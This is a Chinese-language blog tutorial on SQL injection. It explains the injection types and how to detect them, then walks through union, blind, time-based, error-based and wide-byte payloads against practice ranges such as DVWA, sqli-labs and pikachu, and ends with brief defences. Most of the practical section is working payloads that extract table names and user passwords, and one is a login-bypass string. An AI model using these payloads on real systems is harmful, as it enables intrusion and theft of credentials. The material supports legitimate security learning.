一、sql注入的介绍

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、sql注入的危害

但凡使用数据库开发的应用系统,就可能存在SQL注入攻击的媒介。自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。

1.数据库信息泄露

2.网页篡改:登陆后台后发布恶意内容

3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人

4.私自添加系统账号

5.读写文件获取webshell

三、sql注入的分类

1.按照注入点类型分类

(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1。
(2)字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name=‘admin’ and 1=1 ’ 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=’%1%’

2.按照数据提交的方式来分类
(1)GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段

这里延伸get和post的区别:

1.get和POST的本质区别

Get是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求

2.服务器端获取值的方法

get方式提交的数据,服务器端使用request.QueryString获取变量的值

post方式提交的数据,服务器端使用request.Form获取数据

3.安全性

get方式安全性低,post方式较安全。但是post方式执行效率要比get方式差一些。

4.机制

get是把参数数据队列加到提交表单的action属性所指的URL中,如:http://www.xxx.com?sessonid=db23434&name=hongten&age=20。在URl中,值和表单南日各个字段一一对应,并且这些在URl中对用户来说是可见的,即用户时可以看到的。如:name=hongten。

post是通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到action属性所指的URL地址,对于用户来说,这是透明的。

5.大小

URL不存在参数上限的问题,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器,如Netscape、FireFox等,理论上没有长度限制,其限制取决于操作系统的支持。

理论上讲,POST是没有大小限制的,HTTP协议规范也没有进行大小限制,说“POST数据量存在80K/100K的大小限制”是不准确的,POST数据是没有限制的,起限制作用的是服务器的处理程序的处理能力。

3.按照执行效果来分类
(1)基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入
(7)延时注入
使用延时函数方式;
(8)搜索注入
注入点在搜索框中;
(9)编码注入
将输入的字符串进行编码,如base64编码;
(10)多阶注入
由多个HTTP请求响应共同完成的注入;

四、常见sql注入及判断方法

如何手工判断注入点:

1.数字型 GET方法:
①需要找到动态页面
②可以在url中实现对参数的输入
③输入‘判断是否报错 输入and 1=1返回正常 输入and 1=2异常 从而判断此处一定存在sql注入漏洞

2.字符型 GET方法:
①需要找到动态页面
②可以在url中实现对参数的输入
③输入‘判断是否报错 输入‘ and 1=1#返回正常 输入’ and 1=2#异常 从而判断此处一定存在sql注入漏洞
注意的是url是 --+ 表单是#
ps:以上方法均可以用手工或者sqlmap,但是要考虑有没有过滤或者防火墙。
3.万能语句:‘or ’1‘ = ‘1’ #
在表单输入这句话,带入的sql查询语句为:
select * from user where =id ’ 'or ‘1’ = ‘1’ # ’ “.” and pass= ’ '等于 select * from user where =id ’ 'or ‘1’ = '1‘ 由于#号把密码注释掉 然后or前面条件为假后面会真,一假一真为真,所以自然就能不需要密码成功登陆,并且查看的是全部数据
首先判断优先级,and比or优先级高
4.手工注入的三张表:
1.schemata 表 schema_name 字段 保存了此数据库种所有的数据库名
2.tables 表 table_schema 保存了数据库名 table_name保存了所有的表名
3.columns表 table_schema 保存了数据库名 table_name保存了所有的表名 column_name 保存了所有的字段名

五、sql注入实战(靶场环境)

靶场推荐:墨者学院、sql-labs、bugkuctf、dvwa等
1.使用万能语句进行攻击‘or ’1‘ = '1' #

2.数字型注入

①首先查找注入点,输入1能正常显示,然后输入1’是否异常,发现异常,然后1’ and 1=1 # 正常,1’ and 1=2 #异常,所以存在数字型注入
②判断字段数,用order by判断,如果出错就表示没有这么多字段,payload为:

1' order by 2 #


③这里只有两个字段,接下来分别爆库,爆表,爆字段,最后就是数据了,我们一步步来,首先爆库名,payload为:

1' union select 1,database() #成功爆出库名为dvwa


④爆表,payload为:

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

也可以

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' # 使用group_concat

分组,是为了方便查看。这里可以看到有guestbook和users两张表。

⑤爆字段,payload为:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

这里也可以为

1' union select 1,column_name from information_schema.columns where table_name='users' #

可以看到有很多字段。

⑥爆数据:payload为:

1' union select 1,(select group_concat(user,password) from dvwa.users) #也可以为1' union select user, password from users #

这里我们用冒号的十六进制编码0x3a隔开,然后通过md5解密即可登陆。

3.字符型注入:
①随便输入一个看看,然后发现url地址栏有传参,随即通过url来注入
②输入yiz’ order by 4 #发现不行,换了一种思路,用yiz’ and ‘1’=’1发现成功输出内容,yiz’ and ‘1’=’2发现异常,然后开始搞。随后第一张思路思索半天才知道闭合问题,把#号换成–+就可以闭合了。

③通过order by来判断有几个字段,payload为:yiz’ order by 1 --+查询结果只有一个字段

④然后开始查询数据库名字,payload为:

yiz' union select database() --+

⑤爆表,payload为:

yiz' union select (select group_concat(table_name) from information_schema.tables where table_schema='grade') --+


⑥爆字段,payload为:

yiz' union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins') --+

⑦爆数据,payload为:

yiz' union select (select group_concat(name,0x3a,pass) from grade.admins) --+


3.搜索型注入:

①一般存在于表单或者搜索框,同样经过数据库进行查询,这里我们随便输入一个1’ 然后burp抓包,把数据包丢进sqlmap里面跑
②sqlmap命令:python sqlmap.py -r “post.txt” 然后这里跑出注入点,随后可以进行爆库爆表爆字段爆数据等等。

ps:这里转载一篇sqlmap介绍及常用命令:https://www.freebuf.com/sectool/164608.html

4.伪静态页面进行联合查询注入:

1.1这里发现是静态页面,但是会经过数据库进行查询,成功登陆后跳转主页.php,这里我们运用burp进行下一步操作

1.2通过上边爆出的数据,用账号3001密码yi001成功登陆,然后我们在账号这里查询是否有注入,这时打开我们的burp神器,抓包进行查看,我们这里输入’发现报错, ’ and 1=1 #成功登陆 ’ and 1=2#异常,说明存在注入,由于是html页面只能运用burp进行相关操作。

1.3发现存在注入后且是字符型,然后步骤都是一样的,只需要在burp的repeater模块操作就行了,这里不再赘述。

5.盲注——布尔型(这里用sqli-labs的less8):

页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入

判断的方式:
长度:length() length(database())>=XX 1 and length(database())>=5

举例:假如grade网站的数据库名是grade
id=3001 and length(database())>=5 返回的结果为真 就会正确输出3001账户信息
id=3001 and length(database())>=6 如果返回错误,则数据库名长度为5

字符:substr() substr(database(),1,1)=‘a’
举例:假如grade网站的数据库名是grade
id=3001 and substr(database(),1,1)=‘a’ 返回错误的结果
id=3001 and substr(database(),1,1)=‘g’ 返回正确的结果

(1).首先判断是否有注入’ 错误’ and 1=1 --+ 正常 ’ and 1=2 --+ 异常

(2)判断数据库名字长度,payload为:id=3001 and length(database())>=8,大于8之后会报错,所有判断数据库名字长度为8

3)判断数据库名字,payload为:?id=1’ and substr(database(),1,1)=‘s’–+,括号里面的1,1是指从第一位开始判断,只要输入对了就会显示you are yin,输入错误就不现实,从而判断名字,此种方法费时费神,此时拿出我们的burp神器

4)运用burp的暴力破解模块来进行名字的猜解,刷新页面抓包开启,发送到intruder模块,然后清楚,选择第一个1,和a标记,然后选择clustrbomb模式,随后选择字典


5)然后爆破之后排序即可得到数据库名字security

6)爆表名,运用substr函数 payload为:

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+


7)爆字段名 payload为:

?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')


8)爆数据,payload为:

?id=1' and substr((select group_concat(id,username,password) from security.users),1,1)='a'--+


6.报错注入(sqli-labs的前4个实验(Lab1-Lab4)是基于SQL报错注入(Error-based injection)):

当用户输入的内容拼接成sql语句,送给数据库执行。数据库将执行结果返回给后台。后台将数据库执行结果显示到前台页面上。

这里需要用到的编码:0x3a是冒号的十六进制,0x3b是分号的十六进制,0x3e是>的十六进制0x7e是~符号的十六进制编码

(1)为参数id输入数字1,此时浏览器得到的响应结果如图:

(2)接着用单引号’作为where子句的过滤条件,得到错误的响应:

(3)爆库,payload为:

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+`

有一种更简便方法爆库:id=info() --+

(4)爆表,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+


(5)爆字段,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+


(6)爆数据,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,0x3b,username,0x3b,password) from security.users),0x7e),1)--+


7.时间盲注(less9)

其实就是布尔盲注的升级版,页面没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回的页面都一样,但是加入sleep(5)条件后,页面的返回速度明显慢了5秒。

时间盲注所需要的函数:sleep()延迟函数,if(条件,true,false)若为真则true否则false,ascill()函数

1.测试,和布尔盲注一样,只不过用了sleep()函数。
2.注入,注入过程和布尔盲注一样,只不过用了sleep()函数。
(1)猜库,payload为

输入?id=1’ and if(ascii(substr((select database()),1,1))>114,1,sleep(5))–+正常
输入?id=1’ and if(ascii(substr((select database()),1,1))>115,1,sleep(5))–+延迟


这里明显页面慢了5秒,说明第一个字符是s,然后以此类推得出数据库名。

(2)猜表

输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>104),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>105),1,sleep(5))–+延迟,说明第一个字符为“e”,后面依次。

(3)猜字段

输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>104),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>105),1,sleep(5))–+延迟,说明第一个字符为“I”。
(4)猜数据

输入?id=1’ and if((ascii(substr((select username from security.users limit 0,1),1,1))>67),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select username from security.users limit 0,1),1,1))>68),1,sleep(5))–+延迟

ps:这里也可以运用burp爆破,步骤参照less8,也可以运用python脚本.

8.宽字节注入

(1)首先判断是否有注入点输入’异常 kobe%df’ or 1=1 #正常 kobe%df’ or 1=2 #异常,从而判断有注入点,接下来就是爆库爆表爆数据,这里用%df是因为输入’的时候会把’进行转义变成kobe/’,所以用%df进行逃逸,达到注入的目的

(2)接下来判断字段数,kobe%df’ order by 2#,发现没有返回,那么我们可以考虑是布尔型注入或者时间型注入,但是由上图可以看到有两个输出位置,是your uid和your email,我们是否可以直接利用联合注入呢,发现是可以的

kobe%df' union select 1,database() #


(3)爆表,由于宽字节注入,'都会被转义,所以我们把数据库名字进行16进制转换,然后就可以得到表名,payload为:

kobe%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x70696b6163687)#


(4)爆字段,也是进行16进制转换

kobe%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x70696b61636875 and table_name=0x7573657273) #


(5)爆数据,这里可以不用16进制转换,字段之间用冒号的16进制隔开,

kobe%df' union select (select group_concat(username,0x3a,password) from pikachu.users) #


用宽字节+布尔型盲注

(1)首先判断是否有注入点,输入’异常 kobe%df’ or 1=1 #正常 kobe%df’ or 1=2 #异常,这里用%df是因为输入’的时候会把’进行转义变成kobe/’,所以用%df进行逃逸,达到注入的目的.从而判断有注入点,接下来就是爆库爆表爆数据

(2)判断数据库名字长度,payload为:kobe%df’ or length(database())>=7 #这里大于7之后就会异常,所以长度为7

(3)爆库名

kobe%df' or substr(database(),1,1)=0x61 #

这里a要用16进制转换,爆出库名为pikachu

4)爆表

kobe%df' or substr((select table_name from information_schema.tables where table_schema=0x70696b61636875limit 0,1),1,1)=0x61 #

这里数据库名字也要进行16进制转换,如果要爆第二章把limit 0,1),1,1第二个1改为2就可以了

(5)爆字段

kobe%df' or substr((select group_concat(column_name) from information_schema.columns where table_schema=0x70696b61636875and table_name=0x7573657273),1,1)=0x61 #


(6)爆字段

kobe%df' or substr((select group_concat(username,password) from 0x70696b61636875.0x7573657273),1,1)=0x61 #

五、sql注入防御办法

1.增加waf,安全狗等软硬件

2.构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入

web安全之SQL注入(三)相关推荐

  1. web安全学习-sql注入-针对mysql的攻击

    文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...

  2. 关于web安全之sql注入攻击

    前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促, 能力有限,不到之处请大家批评指正: ②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是 ...

  3. Web安全Day1 - SQL注入实战攻防

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 http ...

  4. Web安全性测试—SQL注入

    Web安全性测试-SQL注入 因为要对网站安全性进行测试,所以,学习了一些sql注入的知识. 在网上看一些sql注入的东东,于是想到了对网站的输入框进行一些测试,本来是想在输入框中输入<scri ...

  5. 小迪安全第14天 web漏洞,SQL注入之类型及提交注入

    14 web漏洞,SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...

  6. Web安全之SQL注入总结

    本文会介绍POST注入.Head注入.报错注入.盲注.cookie注入.宽字节注入.堆叠注入.偏移注入.DNS注入.Access.Mssql.Oracle注入原理和手法. 联合注入:https://b ...

  7. Web安全之Sql注入漏洞

    Sql注入漏洞 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. ...

  8. WEB渗透之SQL 注入

    SQL 注入 文章目录 SQL 注入 前言 1. SQL 注入分类 2. 按照数据库类型 1. 数据库相关知识 1. MYSQL 1. information_schema 2. 常用的函数 2. 判 ...

  9. 【WEB安全】SQL注入挖掘

    文章目录 前言 一.sql注入的分类 注入漏洞存在位置 二.漏洞挖掘 Google语法 疑似注入点手工挖掘 批量挖取此类漏洞 已知sql注入漏洞挖掘 总结 免责声明: 前言 2021年OWASP发布漏 ...

  10. web渗透之sql注入

    博主姓名:摆烂阳 博主主页面链接:传送门 新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人 摆烂阳从不摆烂滴 目录 一.前言 二.实验准备 三.sql注入检测方法 1.数字型检测 2 ...

最新文章

  1. 一维数组和二位数组作为函数参数进行传递的方式
  2. 【量化投资】策略三(聚宽)
  3. Java Hibernate模板 学习总结
  4. linux下普通用户更改密码原理(S权限)、SetUID
  5. 滚动焦点图实现原理和实践[原创视频]
  6. linux 交叉编译 nginx,交叉编译nginx,luajit
  7. 03_运算符、键盘录入、流程控制
  8. EF框架学习(5)---EF中的在线和离线场景
  9. centos 7.0上RabbitMQ 3.5.6版本多实例启动操作讲解
  10. Android 系统(78)--应用安装时间长
  11. java当月日历_java程序——输出当月日历表
  12. 如何将mp3文件转pcma格式或PCM格式的wav文件
  13. 【数学建模】论文排版
  14. 切比雪夫不等式例题讲解_13.初中数学:怎么解一元一次不等式?把解集表示在数轴上,基础训练...
  15. WAP中利用截取手机号码达到自动登入的一段源码(转)
  16. dump和coredump
  17. qtp软件测试网站实验报告,软件测试实验报告-QTP的使用
  18. 全自动加药装置自动加药系统的技术说明
  19. ModBus通信协议详解(基于RS-485)
  20. 宝塔php原理,宝塔php建站教程

热门文章

  1. 飓风“桑迪”的蝴蝶效应:扇起桑迪域名注册潮
  2. HDLC和PPP协议的配置
  3. 计算机右键括号内的字母,电脑操作中菜单后面括号里的字母的介绍
  4. 蝇量级的JSON模型转换库(OC,Swift通用)
  5. 如何求有序数组绝对值最小的数
  6. 智能机器人JIMI助力用户咨询体验提升
  7. c#物联网_喜报:物联网学子获省职业院校技能大赛一等奖
  8. 期货市场十赌九输,钱都去哪里了?
  9. 前端面试之浏览器/HTML/CSS问题
  10. 1080p和1080i有什么区别?